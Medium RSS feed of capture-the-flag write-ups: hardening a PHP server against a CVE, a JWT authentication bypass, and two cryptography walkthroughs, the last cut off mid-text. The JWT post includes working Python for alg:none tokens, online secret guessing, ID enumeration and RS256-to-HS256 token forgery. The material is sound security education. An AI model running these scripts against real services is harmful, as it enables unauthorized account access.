<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Khalid Abdullahi on Medium]]></title>
        <description><![CDATA[Stories by Khalid Abdullahi on Medium]]></description>
        <link>https://medium.com/@khalid_abdullahi?source=rss-90a95fd5eaad------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SyKCTQxkRBhYlng0X2nOFA.png</url>
            <title>Stories by Khalid Abdullahi on Medium</title>
            <link>https://medium.com/@khalid_abdullahi?source=rss-90a95fd5eaad------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 12:55:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@khalid_abdullahi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My first CVE challenge: hardening a PHP server without breaking uploads]]></title>
            <link>https://medium.com/@khalid_abdullahi/my-first-cve-challenge-hardening-a-php-server-without-breaking-uploads-1fad55b3fbea?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fad55b3fbea</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[skillbit]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 22:27:21 GMT</pubDate>
            <atom:updated>2026-10-31T22:27:21.058Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pc7QXpfLcWj9DAu04I-TjA.png" /><figcaption>This was my first time doing a challenge like this so the writeup includes the wrong turns too. They were part of how i got to the answer.</figcaption></figure><p>The challenge says a public exploit called php2shell targets the PHP build behind the Inkline Print website. The upgrade to PHP 8.5.12 has to wait for the next maintenance window. The job is to apply the interim configuration from the PHP security advisory then restart Apache with reload-apache while keeping artwork uploads working. The flag shows up on the website once the mitigation is live.<br> So this is a fix challenge, not an exploit one. Nobody breaks in. The goal is to harden the server without breaking the upload form.</p><h3>What i already knew going in</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrKRWegog6i0sOps_1IFWg.png" /></figure><p>Before touching the challenge i had read about php2shell. It is two bugs in PHP itself (CVE-2026–109618 and CVE-2026–109619) that can give unauthenticated remote code execution. The first is about PHP running out of memory and cleaning up half built data. The second is about leftover state from one request being reused by the next request on the same worker. The only full fix is updating PHP but the advisory lists some interim settings.</p><h3>Setup</h3><p>I spawned the container and got two URLs. One was the website and the other was a portal that turned out to be a terminal on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrKRWegog6i0sOps_1IFWg.png" /></figure><h3>Recon</h3><p>The website is a small print shop with an upload form for proofs up to 64 KB. The form replies with a checksum so the customer can confirm the file arrived.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*LYJ_cLsdCgFxwupdwfDvkw.png" /></figure><p>The terminal said Apache configs are in /etc/apache2 and the restart command is reload-apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*qINd8F-V2OhzzN_A-OXziA.png" /></figure><p>How PHP runs<br> First i wanted to know which PHP version it was and how it was connected to Apache.</p><pre>php -v<br>apache2ctl -M | grep -i php<br>ls /etc/apache2/mods-enabled | grep -i php<br>ls /etc/php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*Wk48qVbkOtdXIhubiMgTIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*AwVQlUZphgvoQe78b_toGA.png" /></figure><p>What i learned from this:</p><ul><li><strong>PHP 8.5.11.</strong> That is one patch release below the fixed 8.5.12 so it is still vulnerable.</li><li><strong>mod_php.</strong> php_module is loaded in Apache. From my reading this is the riskiest setup because an unauthenticated request can trigger the attack before any application code runs.</li><li><strong>PHP 8.5</strong> means the fatal_error_backtraces setting applies here. It only matters on 8.5.</li><li>/etc/php only has an apache2 folder so the config should be in /etc/php/apache2/.</li></ul><p>Checking the current config<br> Next i searched the config for the settings i had read about.</p><pre>ls -la /etc/php/apache2 /etc/php/apache2/conf.d<br>grep -Rni &quot;memory_limit\|post_max_size\|upload_max_filesize\|upload_progress\|backtrace&quot; /etc/php /etc/apache2<br>grep -Rni &quot;php_value\|php_admin_value\|php_flag\|php_admin_flag&quot; /etc/apache2<br>ls -la /var/www/html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFkzaXCaOni3ZhENdvuw6Q.png" /></figure><p>Everything is in one file: /etc/php/apache2/php.ini. There is no conf.d folder and the php_value search found nothing in Apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*_nlPStqu4Y9h2K44LVk4Gw.png" /></figure><p>At this point i thought two things needed changing: memory_limit and post_max_size. That second one turned out to be a wrong turn. More on that below.</p><h3>Looking for overrides</h3><p>The web root /var/www/html was empty so the site had to be served from somewhere else. I searched for it.</p><pre>grep -Rni &quot;DocumentRoot\|AllowOverride&quot; /etc/apache2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*PpIdym4L3cpUY6b8r3RPqg.png" /></figure><p>The live site is the 000-default.conf virtual host and its DocumentRoot is <strong>/opt/lab/source</strong>.</p><ul><li>That site has <strong>AllowOverride None</strong> so .htaccess files are ignored and cannot change PHP settings.</li><li>The AllowOverride All lines come from docker-php.conf and apply to /var/www/ so they do not affect this site.</li></ul><p>Then i looked at the site folder itself.</p><pre>ls -la /opt/lab/source<br>grep -ni &quot;ini_set\|set_time_limit\|memory_limit\|upload_progress\|post_max&quot; /opt/lab/source/index.php</pre><p>checking the site’s own code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*Mr9RiOXcE9D1H7sYorBccQ.png" /></figure><p>The site is a single index.php and the grep returned nothing. So the app never changes PHP settings at runtime and php.ini is the only thing that matters.</p><p>I also wanted to know how the upload works since the challenge says it must keep working. This is the important part of the handler:</p><pre>} elseif ($action === &#39;upload&#39;) {<br>    $file = $_FILES[&#39;file&#39;] ?? null;<br>    if ($method !== &#39;POST&#39; || !is_array($file) || ($file[&#39;error&#39;] ?? null) !== UPLOAD_ERR_OK<br>        || !is_string($file[&#39;tmp_name&#39;] ?? null) || !is_uploaded_file($file[&#39;tmp_name&#39;]) || $file[&#39;size&#39;] &gt; 65536) {<br>        $error = &#39;Please attach one file of at most 64 KB.&#39;;<br>    } else {<br>        $content = (string) file_get_contents($file[&#39;tmp_name&#39;]);<br>        $receipt = [&#39;name&#39; =&gt; ..., &#39;bytes&#39; =&gt; strlen($content), &#39;sha256&#39; =&gt; hash(&#39;sha256&#39;, $content)];<br>    }</pre><p>So any file over 65,536 bytes is rejected and a good file gets a byte count and a SHA-256 back. That is what “uploads keep working” means here.</p><h3>Reading the advisory</h3><p>My first plan was memory_limit = -1 and post_max_size = 32M. I got those numbers from a blog summary of the advisory. Then i opened the actual advisory (GHSA-w8hw-w9fx-j79w) and compared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMgduJKHZZY8f-eNlbPKuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*kUMl_YivpL2fTRu0VvJFDA.png" /></figure><p>It also says clearly that none of this is a complete mitigation and that updating is the only one.</p><p>So the 32M number was not in the advisory. It came from the blog. Raising post_max_size would have gone the opposite way from &quot;conservative&quot; and the current 128K is already enough for a 64 KB upload. Lesson for me: check the primary source before applying a number.</p><p>Then i checked the input limits the advisory mentions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3Vw-_DhTycg2plBhSaBJA.png" /></figure><p>These are already set low, so there’s less to change than I thought</p><h3>What was left</h3><ul><li>session.upload_progress.enabled: already Off</li><li>fatal_error_backtraces: already Off</li><li>post_max_size and upload_max_filesize: already small and enough for 64 KB</li><li>input and nesting and upload limits: already bounded</li><li><strong>memory_limit = 128M: this was the one open item</strong></li></ul><h3>The fix</h3><p>php.ini is owned by root with group lab and the group can write to it. But the folder /etc/php/apache2 is not writable by my user so i did not want a command that replaces the file. I edited a copy and wrote it back over the original with cat so it overwrites in place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*1u3IMc69YAGStjGTNNbNUA.png" /></figure><p>No errors. The first copy is my backup. Then i checked the file and restarted Apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*Kv7W5HmvP_LwYTxqeIYzFA.png" /></figure><p>Both showed -1 and the restart replied {&quot;ok&quot;: true, &quot;message&quot;: &quot;Apache restarted.&quot;}.</p><h3>Testing that uploads still work</h3><p>I made an exactly 64 KB test file on my Kali machine and took its hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*6LwZZB4ODKFhPayKdi8MiQ.png" /></figure><p>now let me upload it using the browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*ix0Kh8uo3-54fxY19Nc4Fw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*KhuEIZEf3MQ02WNjfm9uNg.png" /></figure><p>and got this in return</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*JXOiXE6Za8BvlROtd2_ENg.png" /></figure><p>The page said 65536 bytes and the SHA-256 matched my sha256sum. So the full size file went through with the new setting.</p><h3>The part where no flag showed up</h3><p>I refreshed the page and there was no flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*ix0Kh8uo3-54fxY19Nc4Fw.png" /></figure><p>I was confused because the mitigation was applied and uploads worked. So i read the top of index.php to see how the flag is decided.</p><p>The part that matters is this:</p><pre>} elseif ($action === &#39;&#39;) {<br>    $client = curl_init(&#39;http://127.0.0.1:9000/result&#39;);<br>    ...<br>    if (is_array($status) &amp;&amp; ($status[&#39;passed&#39;] ?? false) === true) {<br>        $flag = ...<br>    }<br>}</pre><p>Two things i learned from it:</p><ul><li>On a normal page load the website asks a separate grader service at 127.0.0.1:9000/result and shows the flag only if passed is true. That is why my greps for memory_limit found nothing.</li><li>My refresh was probably on the ?action=upload page and that branch never asks the grader. So refreshing there could never show a flag.<br> I asked the grader directly from the terminal.</li></ul><pre>curl -s http://127.0.0.1:9000/result</pre><p>&quot;passed&quot;: true, so the mitigation worked and Hooray got the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMKKqpZzYpsBJvwSkDakwg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fad55b3fbea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-Up: JWT Authentication Bypass “The Archive”]]></title>
            <link>https://medium.com/@khalid_abdullahi/ctf-write-up-jwt-authentication-bypass-the-archive-e47c8d99a696?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/e47c8d99a696</guid>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[p3rf3ctr00t]]></category>
            <category><![CDATA[dojo]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 19:52:33 GMT</pubDate>
            <atom:updated>2026-10-28T19:52:33.059Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fGbC3PFKW3SRVd2ADecQsw.png" /></figure><h3>Executive Summary</h3><p>This report documents a web application security challenge centered on a staff authentication portal protected by JSON Web Tokens (JWTs). The objective was to gain unauthorized access to a privileged admin resource (/admin/queue) without valid staff credentials.</p><p>The engagement progressed through several classic JWT attack vectors — alg: none bypass, HMAC secret brute-forcing, and algorithm-case manipulation, all of which were correctly rejected by the target. The eventual breakthrough combined an <strong>Insecure Direct Object Reference (IDOR)</strong> in a request-tracking feature with a <strong>JWT algorithm confusion attack (RS256 → HS256)</strong>, ultimately allowing forgery of a token with role: admin and full access to the protected resource.</p><p><strong>Key outcome:</strong> Successfully forged a valid admin-privileged JWT and obtained access to the restricted queue, completing the challenge objective.</p><h3>Target Overview</h3><p><strong>Application:</strong> “The Archive” a mock county records request portal</p><p><strong>Entry point:</strong> Staff Login page, referencing authentication via “a signed token issued by the county identity service”</p><p><strong>Protected resource:</strong> /admin/queue</p><p><strong>Session endpoint:</strong> /admin/session</p><p><strong>Hint discovered in-app:</strong> a placeholder JWT (eyJhbGciOi...) left in the login form, signaling that token handling was the intended attack surface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGNXzzS6twGHK8wfnpnoLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Ghyt_OjtjEvok6wh89m3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PqrSDyKTTsWYgZrNNlyfPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*HhdDJuRFoZhRypwozx8Rgg.png" /></figure><h3>Background: Why JWTs Were the Focus</h3><p>A JWT is a self-contained credential built from three base64url-encoded segments</p><p>header.payload.signature.</p><p>The header declares the signing algorithm (e.g. HS256, RS256, or the special value none); the payload carries claims such as user identity and role; and the signature is what lets a server trust those claims without a database lookup.</p><p>JWTs are not inherently insecure the risk lies entirely in implementation. Three well-known failure classes were considered going in:</p><ol><li><strong>alg: none:</strong>some libraries will accept an unsigned token if the header simply declares no algorithm.</li><li><strong>Weak HMAC secret (HS256): </strong>if the signing secret is a short or common string, it can be brute-forced offline or guessed online.</li><li><strong>Algorithm confusion (RS256 → HS256): </strong>if a server exposes an RSA <em>public</em> key (intended only for verifying RS256-signed tokens) and its verification logic blindly trusts the alg field in an incoming token, an attacker can resign a token using HMAC with the public key&#39;s raw bytes as the secret. A careless verifier will then treat that HMAC as valid, because it computes the exact same signature.</li></ol><p>The login page’s phrasing a “signed token issued by the identity service” strongly suggested an OAuth/JWKS-style architecture, making all three of these hypotheses worth testing.</p><h3>Methodology and Timeline</h3><h3>4.1 Reconnaissance</h3><p>Initial recon of the login flow and page source surfaced the placeholder JWT and the staff authentication hint. A check for a published key set at the conventional discovery path:</p><pre>curl http://&lt;target&gt;/.well-known/jwks.json -v</pre><p>returned nothing, ruling out a standard JWKS endpoint, but not ruling out RS256 entirely, since the key might be published elsewhere.</p><p>Submitting a test (non-JWT) value to the login form showed the request flow clearly in dev tools:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*QxwYUrcFGrf19gvKjA8oAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qk6rK2r5Wir_H0GZqbQs_Q.png" /></figure><ul><li>POST /session → <strong>302 redirect</strong>, with a Set-Cookie: staff_token=&lt;value&gt; header that <strong>echoed the submitted value verbatim</strong>. This revealed the server does not mint its own session token, it trusts and stores whatever is submitted, then re-validates it on each protected request.</li><li>GET /admin/queue (actual protected path, discovered via the redirect Location header) returned a generic &quot;Invalid or expired staff token.&quot; message for every failure type, giving no distinguishing error signal at this stage.</li></ul><h3>4.2 Attempt 1 alg: none</h3><p>A token was hand-built with an empty signature:</p><pre>import base64, json<br><br>def b64url(data: bytes) -&gt; str:<br>    return base64.urlsafe_b64encode(data).rstrip(b&#39;=&#39;).decode()<br><br>header = {&quot;alg&quot;: &quot;none&quot;, &quot;typ&quot;: &quot;JWT&quot;}<br>payload = {&quot;user&quot;: &quot;khalid&quot;, &quot;role&quot;: &quot;staff&quot;}<br><br>header_b64 = b64url(https://medium.com/json.dumps(header,%20separators=(&#39;,&#39;,%20&#39;:&#39;)).encode())<br>payload_b64 = b64url(https://medium.com/json.dumps(payload,%20separators=(&#39;,&#39;,%20&#39;:&#39;)).encode())<br><br>token = f&quot;{header_b64}.{payload_b64}.&quot;   # note: trailing dot, empty signature<br>print(token)</pre><p><strong>Result:</strong> Rejected. The server performs genuine signature verification on /admin/queue this class of bug was ruled out.</p><h3>4.3 Attempt 2: HS256 secret guessing</h3><p>Since no real signed token was available to crack offline, an <strong>online guessing</strong> approach was used: forge a candidate token with each guessed secret, submit it, and check whether /admin/queue returns 200.</p><pre>import jwt, requests<br><br>BASE = &quot;http://&lt;target&gt;&quot;<br>secrets_to_try = [<br>    &quot;secret&quot;, &quot;changeme&quot;, &quot;password&quot;, &quot;riverside&quot;, &quot;archive&quot;,<br>    &quot;records&quot;, &quot;staff&quot;, &quot;county&quot;, &quot;riversidecounty&quot;, &quot;dev&quot;,<br>    &quot;test&quot;, &quot;admin&quot;, &quot;key&quot;, &quot;jwtsecret&quot;, &quot;supersecret&quot;,<br>    &quot;s3cr3t&quot;, &quot;riverside-county-archive&quot;, &quot;county-identity-service&quot;,<br>    &quot;identity-service&quot;,<br>]<br>payload = {&quot;user&quot;: &quot;khalid&quot;, &quot;role&quot;: &quot;staff&quot;}<br><br>for secret in secrets_to_try:<br>    token = jwt.encode(payload, secret, algorithm=&quot;HS256&quot;)<br>    s = requests.Session()<br>    s.post(f&quot;{BASE}/admin/session&quot;, data={&quot;token&quot;: token})<br>    r = s.get(f&quot;{BASE}/admin/queue&quot;)<br>    if r.status_code == 200:<br>        print(&quot;FOUND:&quot;, secret)<br>        break</pre><p><strong>Result:</strong> All 19 candidates rejected. No weak hardcoded secret.</p><h3>4.4 Attempt 3: alg case manipulation</h3><p>Tested whether a case-sensitive string check (if alg == &quot;none&quot;) could be bypassed with variants like &quot;None&quot;, &quot;NONE&quot;, &quot;nOnE&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*835BULPuKocrSRWIpIcexA.png" /></figure><p><strong>Result:</strong> All rejected. The server’s validation logic was solid against this variant class too.</p><h3>4.5 Pivot — IDOR in the request-tracking feature</h3><p>At this point, a previously noted but unexplored lead was revisited: the “Track a Request” feature used a path parameter rather than a query string</p><pre>window.location = &#39;/requests/&#39; + document.getElementById(&#39;rid&#39;).value</pre><p>This implied a simple, enumerable GET /requests/&lt;id&gt; pattern. A sweep script was written to walk a range of IDs and flag any that weren&#39;t the generic &quot;Request Not Found&quot; response, or that contained signs of leaked tokens:</p><pre>import requests<br><br>BASE = &quot;http://&lt;target&gt;&quot;<br>session = requests.Session()<br>found_ids = []<br><br>for rid in range(1, 1050):<br>    r = session.get(f&quot;{BASE}/requests/{rid}&quot;, timeout=5)<br>    if &quot;Request Not Found&quot; not in r.text:<br>        found_ids.append(rid)<br>        if &quot;Internal&quot; in r.text or &quot;eyJ&quot; in r.text:<br>            print(f&quot;[{rid}] INTERESTING&quot;)</pre><p>This surfaced a valid ID range, and a closer read of record <strong>ID 1003</strong> revealed an internal note:</p><blockquote><em>“We’ve moved staff tokens over to RS256 — the public key is now published at </em><em>/static/pubkey.pem.&quot;</em></blockquote><p>This surfaced a valid ID range, and a closer read of record <strong>ID 1003</strong> revealed an internal note:</p><blockquote><em>“We’ve moved staff tokens over to RS256 — the public key is now published at </em><em>/static/pubkey.pem.&quot;</em></blockquote><p>This was the pivot point: confirmation that RS256 was in play, plus the exact disclosure location of the public key a direct enabler for the algorithm confusion attack.</p><h3>4.6 Attempt 4: Algorithm confusion (RS256 → HS256)</h3><p>The public key was retrieved:</p><pre>curl -s http://&lt;target&gt;/static/pubkey.pem```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PUNmfkHYBGUYcb1hYFbD5w.png" /></figure><p>A forged token was then built using <strong>HS256</strong>, signed with the <strong>raw public key bytes as the HMAC secret</strong>, the core of the alg-confusion technique:</p><pre>import json, base64, hmac, hashlib, requests<br><br>def b64url(data: bytes) -&gt; str:<br>    return base64.urlsafe_b64encode(data).rstrip(b&#39;=&#39;).decode()<br><br>def make_token(key_bytes: bytes, payload: dict) -&gt; str:<br>    header = {&quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot;}<br>    header_b64 = b64url(https://medium.com/json.dumps(header,%20separators=(&#39;,&#39;,%20&#39;:&#39;)).encode())<br>    payload_b64 = b64url(https://medium.com/json.dumps(payload,%20separators=(&#39;,&#39;,%20&#39;:&#39;)).encode())<br>    sig = hmac.new(key_bytes, f&quot;{header_b64}.{payload_b64}&quot;.encode(), hashlib.sha256).digest()<br>    return f&quot;{header_b64}.{payload_b64}.{b64url(https://medium.com/sig)}&quot;</pre><p><strong>Result: the breakthrough:</strong> two distinct server responses appeared for the first time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*i7Wr_7RGg-t8wbDoo1dE6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*ox2uZE_ZhruJCItjSCUrjg.png" /></figure><p>The <strong>403</strong> response was the critical signal: the signature itself was now valid (the server accepted the HMAC), and the <em>only</em> remaining problem was the claims inside the payload — the attack primitive worked.</p><h3>4.7 Attempt 5 — Payload/claim fuzzing</h3><p>With a working signature method confirmed, the payload’s role/claim field was varied systematically:</p><pre>payload_variants = {<br>    &quot;role: staff&quot;: {&quot;user&quot;: &quot;khalid&quot;, &quot;role&quot;: &quot;staff&quot;},<br>    &quot;role: admin&quot;: {&quot;user&quot;: &quot;khalid&quot;, &quot;role&quot;: &quot;admin&quot;},<br>    &quot;is_staff: true&quot;: {&quot;user&quot;: &quot;khalid&quot;, &quot;is_staff&quot;: True},<br>    &quot;staff: true&quot;: {&quot;user&quot;: &quot;khalid&quot;, &quot;staff&quot;: True},<br>    &quot;roles array&quot;: {&quot;user&quot;: &quot;khalid&quot;, &quot;roles&quot;: [&quot;staff&quot;]},<br>    &quot;scope: staff&quot;: {&quot;user&quot;: &quot;khalid&quot;, &quot;scope&quot;: &quot;staff&quot;},<br>    # ...additional variants<br>}</pre><p><strong>Result:</strong> {&quot;user&quot;: &quot;khalid&quot;, &quot;role&quot;: &quot;admin&quot;} returned <strong>200 OK</strong> on /admin/queue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkdDfC2OoI7EVFbO8heYBw.png" /></figure><p>Challenge objective achieved.</p><h3>5. Root Cause Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*08iVrbGZohJID88Pr7zCVQ.png" /></figure><p>None of these issues exist in isolation, the chain only succeeded because the IDOR leaked the information needed to pull off the algorithm confusion attack.</p><h3>6. Lessons Learned</h3><ul><li><strong>JWTs are only as strong as their verification code</strong>, not the algorithm itself. HS256, RS256, and none are all &quot;secure&quot; in the abstract; vulnerabilities come from servers that trust token-supplied metadata (like alg) instead of enforcing a fixed expectation.</li><li><strong>Public key material is not inherently safe to expose in every context.</strong> An RSA public key is safe to publish <em>for RS256 verification</em>, but becomes dangerous the moment a verifier can be tricked into using it as a symmetric secret.</li><li><strong>IDOR and enumeration bugs compound other vulnerabilities.</strong> On their own, exposed internal notes might seem low severity but here they directly supplied the key material needed for a higher-impact authentication bypass.</li><li><strong>Systematic, scripted testing beats manual guessing.</strong> Working through each JWT attack class methodically</li></ul><p>(none → weak-secret → case variants → alg confusion)</p><p>and ruling each out in turn kept the search efficient instead of guessing randomly.</p><ul><li><strong>Error message differentials matter.</strong> The shift from a single generic error to a distinct 403 “lacks privileges” response was the clearest signal in the entire exercise that the forged signature was being accepted.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e47c8d99a696" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyLab Security Academy 2026: Timestamped Secrets walkthrough]]></title>
            <link>https://medium.com/@khalid_abdullahi/cylab-security-academy-2026-timestamped-secrets-walkthrough-071f4c4eb006?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/071f4c4eb006</guid>
            <category><![CDATA[cylab-security-academy]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[timestamped-secrets]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 19:03:34 GMT</pubDate>
            <atom:updated>2026-10-22T19:03:34.711Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*-zNDYj1HIsAxDSykyK4T-w.png" /></figure><blockquote>i run into scenarios where cryptographic keys are generated dynamically rather than hardcoded. In this challenge from Cylab i got this classic cryptographic flaw called predictable key generation via a deterministic timestamp.</blockquote><h3>The Vulnerability: Predictable Seeds</h3><p>Imagine a master locksmith who claims their keys are completely random. However, you notice a pattern: every time they forge a key, they check the grandfather clock on the wall and use the exact second to shape the key bits. If you know exactly when they stood at the workbench, you can forge the exact same key.</p><p>i was given the following files called encryption.py and message.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*Xm-p-TBr5Iy_IC1_eYyvyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*sM9f0s0f1eX84pjSTt4CTg.png" /></figure><p>idk if you guys have checked the code but</p><pre>key = sha256(timestamp.encode()).digest()[:16]<br></pre><p>Because timestamps are linear and public information, if i knows or even be a genious and guess it, the precise second the ciphertext was generated, the “secret” key is entirely compromised.</p><p>Given the leaked ciphertext and the exact generation timestamp, the logic flows down a straightforward pipeline:</p><ol><li><strong>Hash the Timestamp</strong> string using SHA-256.</li><li><strong>Slice the output</strong> to 16 bytes to form a 128-bit key.</li><li><strong>Initialize the AES cipher</strong> in ECB mode.</li><li><strong>Decrypt the ciphertext</strong></li></ol><p>below is the functional Python script i used to automate the solution but i run it in a virtual Environment</p><pre>python3 -m venv ctf_env<br>source ctf_env/bin/activate<br>pip install pycryptodome<br>python3 solver.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*hxFAsnhr6e_xtUpRO8drkw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=071f4c4eb006" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyLab Security Academy 2026: shift registers walkthrough]]></title>
            <link>https://medium.com/@khalid_abdullahi/cylab-security-academy-2026-shift-registers-walkthrough-cc08e0e9199d?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc08e0e9199d</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[cylab-security-academy]]></category>
            <category><![CDATA[shift-register]]></category>
            <category><![CDATA[catch-the-flag]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 19:49:09 GMT</pubDate>
            <atom:updated>2026-10-15T19:49:09.463Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*la4rFxRzORt1F5DS4WCuxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*nz2EiGi4_Oa2FYsQglBIjg.png" /><figcaption>chall.py</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*LrMsO3EDZHTFsK4X6FclhQ.png" /><figcaption>output.txt</figcaption></figure><p>The developer generated a secure, completely random 126-byte key using cryptographically secure methods</p><pre>key = bytes_to_long(get_random_bytes(126))</pre><p>However, right inside the encryption execution loop, they neutralized all of that security by passing the key through a bitwise AND mask filter</p><pre>lfsr = key &amp; 0xFF</pre><p>The bitwise operation &amp; 0xFF slices away 125 bytes of the random key, keeping <strong>only the last 8 bits</strong>.</p><p>Because an 8-bit space can only hold binary values from 00000001 (1) to 11111111 (255), the entire universe of possible starting layouts for this cipher is reduced to just 255 possible states (<em>a seed of all zeros is impossible because the XOR logic would lock up instantly</em>).</p><h3>Core Concepts Explained</h3><p>To understand why this crypto system is broken, let me first explain the two fundamental mechanisms <strong>; XOR</strong> and <strong>LFSR</strong>.</p><h4>What is XOR?</h4><p>Exclusive OR (XOR) is a basic logical gate used by computers to compare binary bits (0s and 1s). The rule states:</p><ul><li>If two bits are the <em>same,</em> the output is 0.</li><li>If two bits are <em>different</em><strong><em>,</em></strong> the output is 1.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*hhvk4hKaJPfdTIFaXBVkeQ.png" /></figure><h4>What is an LFSR?</h4><p>An Linear Feedback Shift Register (<strong>LFSR)</strong> is a pseudo-random number generator. Think of it as a row of sliding memory boxes holding bits. Since this challenge deals with a 1-byte masking loop, it acts as an 8-bit register or in simpler meaning 8 boxes in a row</p><p>Initial Layout: [Box 7] [Box 6] [Box 5] [Box 4] [Box 3] [Box 2] [Box 1] [Box 0]</p><p>Every single time the code runs an execution cycle step (steplfsr), the machine handles two sequential operations;</p><ul><li><strong>The Feedback Calculation</strong></li></ul><p>It picks specific boxes called <strong>Taps</strong>. In the code i am given, it pulls bits from Box 7, 5, 4, and 3 and XORs them all together to generate one single brand-new feedback bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*ZeTuE3Y0yr-hDb_zvS2HdA.png" /></figure><ul><li><strong>The Shift Operation</strong></li></ul><p>Every bit in the row slides one slot over to the right. The bit sitting at the edge inside Box 0 falls out of the machine completely<strong>, </strong><em>this dropped bit becomes the key value used for encryption</em>. The empty slot left behind in Box 